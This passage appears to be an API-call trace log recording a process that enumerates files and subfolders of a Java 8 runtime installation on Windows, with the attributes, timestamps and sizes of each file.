lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0216.561] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0216.561] GetProcessHeap () returned 0xc10000 [0216.562] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.562] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0216.562] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0216.562] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0216.562] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0216.562] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0216.562] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0216.562] GetProcessHeap () returned 0xc10000 [0216.562] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0216.641] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.642] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0216.642] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0216.642] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0216.642] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0216.642] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0216.642] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0216.643] GetProcessHeap () returned 0xc10000 [0216.643] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.643] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0216.643] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0216.643] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0216.644] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0216.644] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0216.644] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0216.644] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0216.644] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0216.644] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0216.644] GetProcessHeap () returned 0xc10000 [0216.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0216.649] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.649] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0216.649] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0216.649] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0216.649] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0216.649] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0216.650] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0216.650] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0216.650] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0216.650] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0216.650] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0216.650] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0216.651] GetProcessHeap () returned 0xc10000 [0216.651] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.651] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0216.651] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0216.651] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0216.652] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 0 [0216.652] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0216.652] GetProcessHeap () returned 0xc10000 [0216.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0216.653] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0216.654] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0216.654] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0216.654] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0216.654] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, 